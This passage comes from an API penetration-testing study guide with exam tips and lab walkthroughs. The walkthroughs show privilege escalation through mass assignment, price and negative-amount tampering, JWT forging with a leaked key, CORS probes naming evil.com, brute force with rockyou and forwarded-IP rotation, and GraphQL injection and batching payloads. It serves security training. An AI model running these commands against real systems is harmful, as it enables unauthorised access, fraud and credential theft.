  • Wayback/GAU, GitHub search, Postman public workspaces, SwaggerHub for the target's domain.
  • robots.txt, sitemap.xml, security.txt, .well-known/, CORS preflight responses, Allow: headers.
# Grep a downloaded JS bundle for endpoints and secrets
grep -oE '"(/api/[A-Za-z0-9_/.{}-]+)"' app.js | sort -u
grep -riE 'api[_-]?key|secret|bearer|authorization' ./js/

Exam tips

  • First thing to try: hit /swagger.json, /openapi.json, /api-docs, /swagger-ui.html and /actuator/mappings on the API port before brute-forcing anything. One of them usually hands you the entire attack surface.
  • Common trap: fuzzing the web UI's port (5000) instead of the API's port (8080/1337). Read the Referer and Host of the XHR requests.
  • What proves the finding: the spec/route listing itself, plus a successfully invoked route that is not reachable from the UI.

5.8 HTTP Verb Tampering

Access control is frequently attached to a verb rather than to a resource. If GET /api/v1/users/5 is denied but POST, PUT, HEAD or an override header is not, the control is broken.

TechniqueRequest
Enumerate allowed verbsOPTIONS → read the Allow: / Access-Control-Allow-Methods: response header
Swap the verbGET → POST, PUT, PATCH, DELETE, HEAD on the same URI
Undefined verbFOO /api/v1/admin — some stacks fall through the auth filter and execute the default handler
HEAD bypassSame routing as GET, sometimes skips output filters/logging
Method override headerX-HTTP-Method-Override: DELETE on a POST
Method override header (variants)X-HTTP-Method: PUT, X-Method-Override: DELETE
Method override paramPOST /api/v1/users/5?_method=DELETE (Rails/Laravel/Symfony convention)
Content-type swapapplication/json → application/xml or application/x-www-form-urlencoded to hit a different, less-validated parser
# 1. What does the server admit to supporting?
curl -s -i -X OPTIONS http://target:8080/api/v1/users
# 2. Same resource, different verb
curl -s -i -X PUT http://target:8080/api/v1/users/5 -H 'Content-Type: application/json' -d '{"role":"admin"}'
# 3. Override header smuggles the blocked verb through a permitted one
curl -s -i -X POST http://target:8080/api/v1/users/5 -H 'X-HTTP-Method-Override: DELETE'
# 4. Content-type swap: JSON endpoint that also accepts XML is an XXE candidate
curl -s -i -X POST http://target:8080/api/v1/user -H 'Content-Type: application/xml' --data '<user><name>x</name></user>'
# 5. Sweep every verb quickly with ffuf
ffuf -u http://target:8080/api/v1/admin -X FUZZ -w <(printf 'GET\nPOST\nPUT\nPATCH\nDELETE\nHEAD\nOPTIONS\nTRACE\n') -mc all

Exam tips

  • First thing to try: OPTIONS on any endpoint that returns 401/403 — the Allow header frequently advertises a verb the authZ filter forgot.
  • Common trap: assuming a 405 Method Not Allowed closes the door. Retry with X-HTTP-Method-Override and ?_method= before moving on.
  • What proves the finding: the identical resource returning 2xx and performing the state change under one verb while returning 401/403 under another.

5.9 API Authentication & Authorization Mechanisms

MechanismWhere it travelsHow it breaksFirst test
None—Endpoint deployed without auth at allRemove all auth headers and replay
HTTP BasicAuthorization: Basic base64(user:pass)Base64 is not encryption; replayable; no expiryDecode it; spray it; check for TLS
API keyX-API-Key: header, ?api_key= query, or cookieKeys in URLs land in logs/Referer/history; keys committed to Git; keys with no scope or expiry; key identifies the app, not the user, so it authorises nothingMove the key to another user's object ID; strip it; search GitHub for it
Bearer / JWTAuthorization: Bearer <jwt>alg:none, weak HMAC secret, kid injection, algorithm confusion (RS256→HS256), unverified signature, no expiry, sensitive claims in the payloadDecode at jwt.io; flip a role/admin claim; test alg:none; crack the secret
OAuth 2.0 / OIDCBearer access token obtained via an authorization flowredirect_uri manipulation, missing/replayed state (CSRF), implicit-flow token leakage in the fragment, authorization-code interception, over-broad scope, token not bound to clientTamper redirect_uri; drop state; replay the code; widen scope
HMAC request signingAuthorization: HMAC-SHA256 ... / X-Signature: + X-Timestamp:Signature covers only part of the request (unsigned params are tamperable); no timestamp/nonce → replay; shared secret leaked in the clientReplay an old signed request; modify an unsigned parameter; drop the signature header entirely
Session cookieCookie: session=Same as web apps: fixation, missing flags, CSRF on state-changing API callsSee §2
mTLS / client certsTLS layerCertificate not actually validated; validation only at the proxyConnect without a cert; reach the backend directly

5.9.1 JWT quick attack chain (API context)

# 1. Decode header and payload without verifying (base64url, add padding)
echo '<JWT>' | cut -d. -f1 | base64 -d 2>/dev/null; echo
echo '<JWT>' | cut -d. -f2 | base64 -d 2>/dev/null; echo
# 2. Crack an HS256 secret offline
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# 3. Re-sign a tampered payload once you have the secret (jwt.io: paste secret, edit payload, copy token)

Claims worth tampering: admin, role, isAdmin, scope, groups, sub, user_id, email, iss, exp.

Lab pattern seen in the course: {"iss":"dummybank.com","admin":false,"email":"jake@dummybank.com"} signed HS256 — flip admin to true, re-sign with the leaked key, and admin-only API endpoints open up (§5.16).

5.9.2 Authentication tests to run on every API

# A. Does it need auth at all? Strip the header and replay.
curl -s -i http://target:8080/api/v1/users
# B. Is the signature actually verified? Change one payload byte, keep the signature.
curl -s -i http://target:8080/api/v1/balance -H "Authorization: Bearer <tampered-jwt>"
# C. Does an expired token still work?
curl -s -i http://target:8080/api/v1/balance -H "Authorization: Bearer <old-jwt>"
# D. Does user A's token work on user B's object? (this is BOLA - see 5.11)
curl -s -i "http://target:8080/api/v1/balance?email=bob@dummybank.com&token=<jake-token>"
# E. Is the token accepted in a different position (query string) where it gets logged?
curl -s -i "http://target:8080/api/v1/users?token=<jwt>"

Exam tips

  • First thing to try: delete the Authorization header and resend. A surprising number of API endpoints — especially older versioned ones and internal-only routes — never check it.
  • Common trap: treating a token as opaque. Always base64-decode a JWT; the payload frequently contains the exact role/admin flag you need to flip, and sometimes PII (excessive data exposure in its own right).
  • What proves the finding: the same endpoint returning privileged data with a forged/absent/foreign credential, alongside the original 401.

5.10 OWASP API Security Top 10

The API-specific list, distinct from the classic web Top 10. Learn the API# identifiers — exam answers and report language use them.

ID (2023)RiskWhat it isHow to test2019 equivalent
API1Broken Object Level Authorization (BOLA/IDOR)Endpoint accepts an object ID from the user and returns/modifies it without checking ownershipSwap IDs between two accounts on every ID-bearing endpointAPI1 (same)
API2Broken AuthenticationWeak/absent token validation, credential stuffing, no lockout, forgeable JWTs, tokens in URLsStrip/forge/replay tokens; brute force loginAPI2
API3Broken Object Property Level AuthorizationMerges Excessive Data Exposure (response returns properties the user may not see) and Mass Assignment (request sets properties the user may not set)Diff API response vs UI display; add extra fields (role, isAdmin, balance) to write requestsAPI3 + API6
API4Unrestricted Resource ConsumptionNo rate limit, no pagination cap, no size cap, expensive operations callable at will; costs money (SMS/email/cloud)Send N requests rapidly; request ?limit=1000000; upload oversized payloads; GraphQL depth/batchAPI4 (Lack of Resources & Rate Limiting)
API5Broken Function Level Authorization (BFLA)Admin/privileged functions reachable by normal users; verb or route-based control gapsCall admin routes with a low-privilege token; swap verbs; guess /admin/* routesAPI5
API6Unrestricted Access to Sensitive Business FlowsBusiness flow (purchase, booking, transfer, signup) can be automated/abused at scale without anti-automationScript the flow; check for negative/zero values, repeats, ordering abusenew
API7Server Side Request Forgery (SSRF)API fetches a user-supplied URLPoint a URL parameter at http://127.0.0.1, http://169.254.169.254/, internal ranges, file://, gopher://new
API8Security MisconfigurationVerbose errors, debug endpoints, directory listing, default credentials, permissive CORS, missing TLS, missing security headers, unpatched componentsBrowse the API root; trigger errors; check CORS with a foreign Origin; check for /actuator, /debug, .gitAPI7
API9Improper Inventory ManagementUndocumented/old/staging endpoints and API versions still live and unpatchedEnumerate /v1/, /v2/, /beta/, /test/, /internal/, dev. and staging. subdomainsAPI9
API10Unsafe Consumption of APIsThe target blindly trusts data from a third-party API it consumes (no validation, follows redirects)Poison an upstream/third-party response where reachable; test data flowing back from integrationsAPI10

The 2019 list, still cited in older material and in some exam wording:

ID (2019)Risk
API1Broken Object Level Authorization
API2Broken User Authentication
API3Excessive Data Exposure
API4Lack of Resources & Rate Limiting
API5Broken Function Level Authorization
API6Mass Assignment
API7Security Misconfiguration
API8Injection
API9Improper Assets Management
API10Insufficient Logging & Monitoring

Note: Injection was its own entry (API8) in 2019 and was dropped from the 2023 top ten — not because it disappeared, but because it is covered by the general web Top 10 (A03). On the exam, SQLi/command injection in an API is still scored as injection.

Exam tips

  • First thing to try: for any API target, run API1 (swap an ID), API5 (call an admin route), API3 (add role/isAdmin to a write) and API8 (browse the API root) — those four find the majority of API findings in under ten minutes.
  • Common trap: reporting an authorization failure as "broken authentication". If you were authenticated and still got someone else's data, it is API1/API5, not API2.
  • What proves the finding: two accounts, two tokens, one request — account A's token retrieving or mutating account B's object.

5.11 BOLA / IDOR — Broken Object Level Authorization (API1)

The most common and highest-impact API bug. Any endpoint that takes an object identifier is a candidate.

Where identifiers hide:

LocationExample
Path segmentGET /api/v1/users/1337
Query stringGET /api/v1/balance?email=jake@dummybank.com
Request body{"user_id": 42, "account": "ACC-001"}
HeaderX-User-Id: 42, X-Account: 7
Cookieuid=42
Inside a JWT claim{"sub":"42"} — change it and re-sign
Nested object{"order":{"customerId":42}}

Method:

  1. Register/obtain two accounts (A and B). Note both IDs/emails/tokens.
  2. As A, exercise every function and record every request.
  3. Replay each request with B's identifier and A's token.
  4. Classify: 200 with B's data = BOLA. 403 = control present. 404 = possible control, or possible enumeration oracle (compare with a nonexistent ID).
# Straight ID swap: A's token, B's object
curl -s -i http://target:8080/api/v1/users/2 -H "Authorization: Bearer <token-of-user-1>"
# Identifier in the query string (the pattern used in the course labs)
curl -s "http://target:8080/balance?email=bob@dummybank.com&token=<jake-token>"
# Enumerate a numeric ID range and flag anything that is not 403
ffuf -u http://target:8080/api/v1/users/FUZZ -H "Authorization: Bearer <token>" -w <(seq 1 500) -mc 200

Bypass tricks when a control appears present:

TrickExample
Send both IDs{"user_id":1,"user_id":2} or ?id=1&id=2 (parameter pollution)
Array wrapping{"user_id":[1,2]}
Type juggling"2" vs 2 vs 2.0
Path traversal in the ID/api/v1/users/me/../2
Change the verbGET blocked, POST/PUT not
Change the version/v2/users/2 blocked, /v1/users/2 not
Wildcard / me alias/api/v1/users/*, /api/v1/users/all, /api/v1/users/me
UUIDsNot a control — harvest them from listings, exports, emails, Location headers

Burp aid: the Autorize extension replays every proxied request with a second user's session automatically and colour-codes enforced/bypassed — the fastest possible BOLA sweep. AuthMatrix does the same in a matrix across roles.

Exam tips

  • First thing to try: increment/decrement a numeric ID by one. If the exam gives you two sets of credentials, BOLA is almost certainly in scope.
  • Common trap: stopping at GET. Test BOLA on PUT, PATCH and DELETE too — write-side BOLA is higher impact.
  • What proves the finding: account B's unique data (email, balance, order) in a response to a request authenticated as account A.

5.12 Broken Function Level Authorization (API5)

BOLA is "wrong object"; BFLA is "wrong function". The endpoint itself should be unreachable for your role.

Hunting method:

  1. Enumerate routes as a privileged user (or from Swagger/JS/actuator) — this tells you which admin functions exist.
  2. Replay each of them with a low-privilege token.
  3. If you have no admin account, guess: /admin, /api/v1/admin/*, /internal/, /manage, /users/all, /export, /config, /debug, /metrics, plus any action verbs from actions.txt.
# Admin route called with a normal user's token
curl -s -i http://target:8080/api/v1/admin/users -H "Authorization: Bearer <low-priv-token>"
# Role-changing function reachable without admin rights
curl -s -i -X PUT http://target:8080/api/v1/users/2/role \
  -H "Authorization: Bearer <low-priv-token>" -H 'Content-Type: application/json' -d '{"role":"admin"}'
# Verb-based BFLA: listing is blocked, but creation/deletion is not
curl -s -i -X DELETE http://target:8080/api/v1/users/3 -H "Authorization: Bearer <low-priv-token>"

SOAP equivalent: §5.5's getAdminInfo — the operation is not listed in the UI and returns "only admin user can invoke this method", yet becomes callable once the correct SOAPAction header is set. That is BFLA in a SOAP wrapper.

Exam tips

  • First thing to try: take the route list from Swagger//actuator/mappings/JS and fire every route with the lowest-privilege token you hold.
  • Common trap: admin functionality living on the same path as user functionality, differentiated only by a body field ("action":"deleteAll"), so route brute force misses it. Diff the parameters, not only the paths.
  • What proves the finding: an administrative state change (user created/deleted/promoted, config read) executed with a non-admin credential.

5.13 Mass Assignment, Parameter Tampering & Misconfigured Permissions (API3/API6)

Mass assignment = the framework binds the whole request body onto the model, so any property you add gets written — including ones the UI never sends. Parameter tampering = changing a value the server should have derived itself (price, balance, role, quantity, discount).

Property names worth injecting into every create/update request:

{"role":"admin","roleId":1,"isAdmin":true,"admin":true,"is_staff":true,
 "userType":"admin","permissions":["*"],"groups":["administrators"],
 "verified":true,"confirmed":true,"emailVerified":true,"active":true,
 "balance":100000,"credit":100000,"price":0,"discount":100,
 "id":1,"userId":1,"owner":1,"createdBy":1,"status":"approved"}

Discovery sources for the real property names: the Swagger/OpenAPI schema, the response of a GET on the same object (APIs usually return every property they accept), an admin-created object, error messages, and Burp Param Miner.

5.13.1 Lab walkthrough — misconfigured permissions (privileged registration, Strapi-style)

Target: REST API on port 1337 of the target host. In the lab, the Kali box is .2 of its subnet and the target is .3 — take your own IP from ifconfig and increment the last octet.

# 1. Authenticate to /auth/local and read the JWT out of the JSON response
curl -s -H "Content-Type: application/json" -X POST \
  -d '{"identifier":"elliot","password":"ElliotAlderson"}' \
  http://TARGET:1337/auth/local | jq

The response contains jwt plus the user object: username, id, email, and a role object. Here role id 2 = normal user, role id 1 = Administrator — the ordering itself is the hint.

# 2. Create a NEW user through /users, passing the privileged role id in the body
curl -s -H "Content-Type: application/json" \
  -H "Authorization: Bearer <JWT-from-step-1>" -X POST \
  -d '{"username":"alexis","email":"test@test.com","password":"password","role":"1"}' \
  http://TARGET:1337/users | jq

Response shows role: { id: 1, name: "Administrator" } → the API let a non-admin token create an admin account. Two failures at once: mass assignment (role was accepted from the client) and broken function level authorization (a normal user could call /users at all).

# 3. Prove impact: log into the admin panel with the account you just made
http://TARGET:1337/admin      ->  alexis / password  ->  Administrator

5.13.2 Lab walkthrough — price tampering (e-commerce)

Web UI on port 5000, API on port 8080, same host. Login jake@eshoppingcart.com. Wallet balance $100; laptops cost far more; goal is to buy one and obtain the golden ticket.

Proxy the purchase and read the API calls:

Observed callMeaning
OPTIONS http://TARGET:8080/paymentCORS preflight — confirms a cross-origin API
POST http://TARGET:8080/payment body {"token":"<JWT>","item":"6","quantity":"1","price":"1999.99"}The client sends the price
GET http://TARGET:8080/balance?email=...&token=<JWT>Wallet balance lookup

Item IDs are zero-indexed (first product = 0), confirmed by adding the first product and reading the ID in the request.

POST /payment HTTP/1.1
Host: TARGET:8080
Content-Type: application/json

{"token":"<JWT>","item":"6","quantity":"1","price":"0"}

Response: price must be greater than 1 — a verbose error that hands you the validation rule.

POST /payment HTTP/1.1
Host: TARGET:8080
Content-Type: application/json

{"token":"<JWT>","item":"6","quantity":"1","price":"1"}

Result: purchase succeeds, golden ticket returned, wallet 100 → 99. Repeating at price=2 leaves 97, confirming the server bills whatever the client says. Also try: negative price, negative quantity (credits the wallet), huge quantity with tiny price, and price as a string vs number vs "1e-5".

Exam tips

  • First thing to try: GET the object, copy every property from the response into your POST/PUT body, and change the interesting ones. The API's own response is the best mass-assignment wordlist.
  • Common trap: assuming a rejected value means validation exists. price=0 being rejected while price=1 is accepted is not validation — it is a hint. Walk the boundary.
  • What proves the finding: the created/updated object echoed back with the privileged property set (role.name = "Administrator", price you chose), plus a functional consequence (admin panel login, item purchased below cost).

5.14 Excessive Data Exposure / Improper Object Property Level Authorization (API3)

The API returns the full object and expects the client to filter it. The UI shows three fields; the JSON contains thirty.

What to look for in every response body:

LeakExample field
Credentialspassword, password_hash, salt, apiKey, secret, token, resetToken
PIIssn, dob, phone, address, nationalId, full email for other users
Internal stateisAdmin, roleId, internalNotes, creditLimit, flags, debug
Infrastructuredb_host, internal_url, stack traces, file paths, hostname
Other users' objectsA list endpoint returning everyone when it should return you
# Dump every key name in a response to spot fields the UI never shows
curl -s http://target:8080/api/v1/users/1 -H "Authorization: Bearer <token>" | jq 'paths(scalars) | join(".")'
# Grep responses for sensitive-looking keys across a whole collection run
curl -s http://target:8080/api/v1/users -H "Authorization: Bearer <token>" \
  | jq -r '.. | objects | keys[]' | sort -u | grep -Ei 'pass|token|secret|key|ssn|admin|role|salt'

Related tests: pagination abuse (?limit=10000, ?page_size=all), field-selection abuse (?fields=*, ?include=password), GET /api/v1/users (collection) when only GET /api/v1/users/me was intended, and export/report endpoints (/export, /download, /report) that ignore the current user's scope.

Exam tips

  • First thing to try: compare the raw JSON in Burp against what the page renders. Every extra field is a candidate finding.
  • Common trap: filtering happening in the front-end JavaScript. The data left the server — it is a server-side finding regardless of what the browser draws.
  • What proves the finding: a raw response body containing another user's PII or a secret, captured outside the browser.

5.15 Improper Input Validation & Business Logic Abuse

APIs skip the validation that forms get "for free". Test the type, the range, the sign and the format of every value — not just injection metacharacters.

ClassPayloads to try
Negative numbers-1, -10000 on amount/quantity/price/balance
Zero0 — often a distinct code path
Boundary2147483647, 2147483648, 9999999999999999, -2147483648
Float/precision0.001, 1e10, 1.999999999999, NaN, Infinity
Type confusion"1" vs 1 vs true vs [1] vs {"$ne":null} vs null
String where number expected"abc" — read the error for stack traces
Unicode/overlongemoji, RTL marks, 10 000-character strings
Array/object injection{"amount":[100]}, {"amount":{"$gt":0}}
Duplicate keys{"amount":1,"amount":-1000} — last-wins vs first-wins parser differences
Missing/extra fieldsRemove a required field; add unknown fields

5.15.1 Lab walkthrough — negative-amount transfer (banking API)

Web UI on port 5000 (dummybank), API on port 8080, same host. Login jake@dummybank.com. Balance $100; goal is the golden ticket, which requires a balance greater than $5,000; there is no deposit function.

Endpoints observed by proxying the UI:

CallParameters
GET /balanceemail, token (JWT)
GET /infoemail, token — the golden-ticket check
OPTIONS /transfer then POST /transferbody: token, sender, recipient, amount

Boundary walk, in order:

POST /transfer HTTP/1.1  →  amount = 1      : success, balance 100 → 99   (positive amount DEBITS the sender)
POST /transfer HTTP/1.1  →  amount = 100    : "account doesn't have sufficient funds"
POST /transfer HTTP/1.1  →  amount = 1000   : "insufficient funds"        (upper bound IS validated)
POST /transfer HTTP/1.1  →  amount = 0      : accepted, no balance change (zero not blocked)
POST /transfer HTTP/1.1  →  amount = -1     : "transaction successful", balance 99 → 100  (CREDITS the sender)

The reasoning that gets the flag: if a positive amount is subtracted from the sender's balance, a negative amount is subtracted-as-a-negative, i.e. added. The upper bound is checked; the sign is not.

# Credit the sender by transferring a large negative amount, then claim the reward
curl -s -X POST http://TARGET:8080/transfer -H 'Content-Type: application/json' \
  -d '{"token":"<JWT>","sender":"jake@dummybank.com","recipient":"bob@dummybank.com","amount":"-10000"}'

curl -s "http://TARGET:8080/balance?email=jake@dummybank.com&token=<JWT>"
curl -s "http://TARGET:8080/info?email=jake@dummybank.com&token=<JWT>"

Generalise the pattern: any operation that moves a quantity (transfer, refund, return, points, votes, stock) is a candidate for sign inversion, and any operation that consumes a quantity is a candidate for zero/negative abuse.

Exam tips

  • First thing to try: -1 in every numeric field. It takes five seconds and is the single highest-yield business-logic test on API labs.
  • Common trap: testing only above the limit. Developers validate "not more than the balance" and forget "not less than zero".
  • What proves the finding: two balance reads bracketing the malicious request, showing the value moved the wrong way.

5.16 Security Misconfiguration (API8)

5.16.1 What to check

CheckHowWhy it matters
API root browsableOpen http://target:PORT/ in the browser / curlDirectory listing of source files and databases
Source files servedcurl http://target:8080/app.py, token_api.py, utils.py, config.py, .env, settings.pyHard-coded signing keys, DB credentials
Databases servedusers.db, *.sqlite, *.sql, backup.zipFull user table, password hashes
Verbose errorsSend malformed JSON/XML, wrong typesStack traces, file paths, line numbers, SQL, framework versions
Debug endpoints/debug, /console, /__debug__, /actuator, /metrics, /trace, /env, /heapdump, /phpinfo.phpWerkzeug console = instant RCE; actuator /env = secrets
VCS / build artefacts.git/HEAD, .svn/, .DS_Store, composer.json, package.json, source maps *.js.mapSource disclosure
Default credentialsAdmin panels, Strapi/Django/Jenkins/KibanaDirect takeover
Missing TLSAPI on plain http://; Strict-Transport-Security absent; mixed contentToken interception; API keys in cleartext
Permissive CORSSee belowCross-origin data theft
Missing security headersX-Content-Type-Options, Content-Security-Policy, Cache-Control: no-store on token responsesSupporting findings
HTTP methods left openOPTIONS, TRACE, PUT enabledVerb tampering, XST, file upload
Unpatched componentsServer:, X-Powered-By:, X-SOAP-Server: headersKnown CVEs (e.g. the NuSOAP version leaked in §5.4)

5.16.2 CORS testing

# Reflected arbitrary origin + credentials = cross-origin data theft
curl -s -i http://target:8080/api/v1/user -H 'Origin: https://evil.com' -H 'Authorization: Bearer <token>' | grep -i 'access-control'

Verdict table:

Access-Control-Allow-OriginAllow-CredentialsSeverity
Reflects https://evil.comtrueCritical — any site can read authenticated responses
*trueInvalid per spec; browsers reject, but check server behaviour
*absent/falseLow — only unauthenticated data
null reflectedtrueHigh — reachable from a sandboxed iframe or a data: URL, both of which send Origin: null
Prefix/suffix match (https://target.com.evil.com, https://evilTARGET.com)trueHigh — regex bug
# Null-origin and suffix-matching bypass probes
curl -s -i http://target:8080/api/v1/user -H 'Origin: null' | grep -i 'access-control'
curl -s -i http://target:8080/api/v1/user -H 'Origin: https://target.com.evil.com' | grep -i 'access-control'

5.16.3 Lab walkthrough — exposed JWT signing key → admin takeover

Same banking app as §5.15: UI on :5000, API on :8080.

# 1. Capture the JWT from a normal API call and decode it at jwt.io
#    header : {"alg":"HS256","typ":"JWT"}
#    payload: {"iss":"dummybank.com","admin":false,"email":"jake@dummybank.com"}

admin: false is the obvious target, but HS256 requires the secret to re-sign.

# 2. Browse the API ROOT (not an endpoint) - directory listing is the misconfiguration
curl -s http://TARGET:8080/

Files exposed in the listing:

FileContent
token_api.pyThe JWT signing key — the whole finding
utils.pyRate-limit logic
users.db (SQLite)CREATE TABLE bank_users (email PRIMARY KEY, ..., password ...) — jake@dummybank.com, admin@dummybank.com and hashed passwords
files.htmlNothing useful
# 3. Fetch them with curl rather than the browser (the browser may render/mangle them)
curl -s http://TARGET:8080/token_api.py
curl -s http://TARGET:8080/utils.py
curl -s --output users.db http://TARGET:8080/users.db && sqlite3 users.db '.tables' && sqlite3 users.db 'select * from bank_users;'
# 4. jwt.io: paste the token, paste the secret into the HS256 "your-256-bit-secret" box
#    -> "Signature Verified" confirms the key. Flip admin:false -> admin:true. Copy the new token.
# 5. Use the forged admin token against the admin-only balance-setting endpoint
curl -s -X POST http://TARGET:8080/balance -H "Content-Type: application/json" \
  -d '{"token":"<FORGED-ADMIN-JWT>","email":"jake@dummybank.com","balance":"10000"}'

Balance becomes $10,000 (a direct set, not an increment) → golden ticket.

The finding is the exposure, not the forgery. The JWT tampering is only possible because the API served its own source. Report it as security misconfiguration (API8) with broken authentication (API2) as the consequence.

Exam tips

  • First thing to try: request the API's root path and any .py/.js/.env/.db filename you can infer. One directory listing can collapse an entire lab.
  • Common trap: viewing source files in the browser, which renders/escapes them. Use curl and save binaries (.db) with --output.
  • What proves the finding: the served file containing the secret, plus the forged credential working against a privileged endpoint.

5.17 Rate Limiting & Unrestricted Resource Consumption (API4)

APIs are the best brute-force surface available: no CSRF token, no CAPTCHA, no page render, and frequently no throttle at all.

Tests:

TestMethod
Login/OTP brute forceFire 100+ auth requests; look for any 429, lockout or delay
EnumerationRun username/ID enumeration at full speed
Pagination abuse?limit=1000000, ?per_page=99999, ?size=-1
Payload sizePOST a multi-MB JSON body or deeply nested object
Expensive operationsReport/export/search endpoints, regex-heavy filters (ReDoS)
Costly side effectsSMS/email/password-reset endpoints — each call costs the target money
GraphQLBatched queries, aliases, deep nesting (§5.18)

Bypasses when a limit exists:

BypassHeader/technique
IP-based limitX-Forwarded-For: 1.2.3.4 (rotate), X-Real-IP, X-Originating-IP, X-Client-IP, X-Forwarded-Host
Account-based limitRotate the account/identifier (password spraying rather than brute force)
Path normalisation/api/v1/login vs /api/v1//login vs /API/v1/login vs /api/v1/login/
Verb/version changeLimit applied to POST /v2/login only
Case change in parameteruser= vs User=
Null byte / whitespaceAppend %00, %20, \n to the value
Race conditionSend N requests in parallel (Burp Repeater → Send group in parallel, single-packet attack)
# Quick throttle probe: 100 requests, tally the status codes
for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" \
  -X POST http://target:8080/auth/local -H 'Content-Type: application/json' \
  -d '{"identifier":"elliot","password":"wrong"}'; done | sort | uniq -c
# Rotate the forwarded IP each request to defeat naive IP-based limiting
for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" \
  -H "X-Forwarded-For: 10.0.0.$i" http://target:8080/api/v1/users; done | sort | uniq -c
# High-rate credential attack with ffuf: -t sets concurrency, -fr filters the failure string
ffuf -u http://target:8080/auth/local -X POST -H 'Content-Type: application/json' \
  -d '{"identifier":"elliot","password":"FUZZ"}' \
  -w /usr/share/wordlists/rockyou.txt -t 50 -fr "Invalid identifier or password"

Also check the response headers X-RateLimit-Limit, X-RateLimit-Remaining, Retry-After — their presence tells you a limit exists and their absence is itself evidence.

Exam tips

  • First thing to try: 100 bad logins in a loop and count the status codes. No 429 and no lockout = finding, and it also unlocks brute force for the rest of the exam.
  • Common trap: Burp Community's Intruder is deliberately throttled — a slow attack is not proof the server is slow. Confirm with ffuf/curl/ZAP before concluding either way.
  • What proves the finding: a tally of N successful requests in M seconds with no 429, ideally ending in a recovered credential.

5.18 GraphQL Testing

One endpoint (/graphql), one verb (POST), and the client chooses the shape of the response — which moves the entire authorization burden onto per-field resolvers that are frequently missing.

5.18.1 Find the endpoint

/graphql, /graphql/, /api/graphql, /v1/graphql, /query, /graphiql, /playground, /altair, /console, /index.php?graphql.

# Tell-tale: an invalid query returns 200 with an errors[] array
curl -s -X POST http://target/graphql -H 'Content-Type: application/json' -d '{"query":"{__typename}"}'

5.18.2 Introspection

Introspection is GraphQL's built-in self-documentation. If enabled in production, it hands you the complete schema: every query, mutation, type, field and argument.

# Minimal introspection probe - is it on at all?
curl -s -X POST http://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{queryType{name} mutationType{name}}}"}'
# List every query and mutation name (the attack surface)
curl -s -X POST http://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{queryType{fields{name}} mutationType{fields{name}}}}"}' | jq
# Full type dump for one type - field names and argument names
curl -s -X POST http://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__type(name:\"User\"){name fields{name type{name kind ofType{name}}}}}"}' | jq
# Full introspection query (paste into Burp/Postman as the "query" value)
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      kind
      description
      fields(includeDeprecated: true) {
        name
        args { name type { name kind ofType { name kind } } }
        type { name kind ofType { name kind } }
      }
    }
  }
}

Introspection-disabled workarounds:

TechniqueDetail
Field suggestionsApollo and others reply Cannot query field "usr" on type "Query". Did you mean "user"? — a free oracle. Brute-force field names one character at a time
clairvoyanceReconstructs the schema purely from suggestion messages
GET-based introspectionSome servers block introspection over POST only: GET /graphql?query={__schema{types{name}}}
Content-Type swapSend the query as application/x-www-form-urlencoded or application/graphql to dodge a POST-body filter
Client bundlesThe front-end JS contains every query the app uses — grep it
Burp → InQLParses a schema (or introspection response) into ready-made queries and a Repeater-friendly tree

5.18.3 Attacks

# Authorization: request fields the UI never asks for (broken object property level authZ)
query { user(id: 1) { id email password role isAdmin apiToken } }
# BOLA: walk object IDs
query { user(id: 2) { id email } }
# Injection: GraphQL arguments reach SQL/NoSQL exactly like any other parameter
query { user(name: "admin' OR '1'='1") { id email } }
# BFLA: call a mutation the UI never exposes
mutation { deleteUser(id: 2) { id } }
mutation { updateUser(id: 1, role: "admin") { id role } }
// Batching: many operations in ONE HTTP request - defeats per-request rate limiting
[{"query":"mutation{login(user:\"admin\",pass:\"a\"){token}}"},
 {"query":"mutation{login(user:\"admin\",pass:\"b\"){token}}"},
 {"query":"mutation{login(user:\"admin\",pass:\"c\"){token}}"}]
# Aliases: same effect inside a single query - brute force with N attempts per request
mutation {
  a: login(user:"admin", pass:"111111"){ token }
  b: login(user:"admin", pass:"123456"){ token }
  c: login(user:"admin", pass:"password"){ token }
}
# Depth / circular-reference DoS (API4) - run only where DoS is in scope
query { user(id:1){ posts { author { posts { author { posts { title } } } } } } }
# Field duplication amplification
query { __typename __typename __typename __typename __typename }

Other checks: CSRF on GraphQL when it accepts application/x-www-form-urlencoded (no preflight), SSRF via URL-typed arguments, IDOR in node(id:) global-object lookups, and secrets in errors[].extensions.exception.stacktrace.

# Automated first pass
graphql-cop -t http://target/graphql

Exam tips

  • First thing to try: {"query":"{__schema{queryType{fields{name}}}}"}. If introspection answers, you have the entire attack surface in one request.
  • Common trap: reading the HTTP status. GraphQL returns 200 OK for errors, auth failures and partial data alike — always parse data and errors from the body.
  • What proves the finding: the introspection/suggestion output naming a mutation, plus that mutation executed successfully with a low-privilege or absent token.

5.19 gRPC (brief)

HTTP/2 + Protocol Buffers (binary), so Burp cannot read it without help.

TaskHow
IdentifyHTTP/2, Content-Type: application/grpc or application/grpc-web+proto, paths shaped /package.Service/Method
EnumerateServer reflection, if enabled, lists every service and method; otherwise find the .proto files in the client/repo
InterceptBurp extension grpc-web (Protobuf) decoder / grpc-coder; or use grpcurl directly
AttackCall methods the client never calls (BFLA); tamper field values (mass assignment); fuzz string fields for injection; check per-method authorization
# List services via reflection, then the methods of one service
grpcurl -plaintext target:50051 list
grpcurl -plaintext target:50051 list package.Service
grpcurl -plaintext -d '{"id":2}' target:50051 package.Service/GetUser

Exam tips

  • First thing to try: grpcurl -plaintext <host>:<port> list. Reflection left on is the gRPC equivalent of introspection left on.
  • Common trap: assuming binary means safe. The fields are still user input and still land in SQL and shells.
  • What proves the finding: a grpcurl invocation of a privileged method succeeding without the right credential.

5.20 Consolidated API Pentest Checklist

Run in this order; each step feeds the next.

#PhaseActions
1Identify the APIProxy the app; note the host/port of every XHR; read Content-Type (XML=SOAP, JSON=REST, /graphql=GraphQL, HTTP/2+protobuf=gRPC)
2Get the contract?wsdl / ?disco / .wsdl / UDDI → SOAP. /swagger.json /openapi.json /api-docs /actuator/mappings → REST. Introspection → GraphQL. Reflection/.proto → gRPC
3Enumerate operations/routesEvery operation name= in the WSDL; every path in the spec; ffuf the rest; JS bundles; old versions /v1/, /v0/
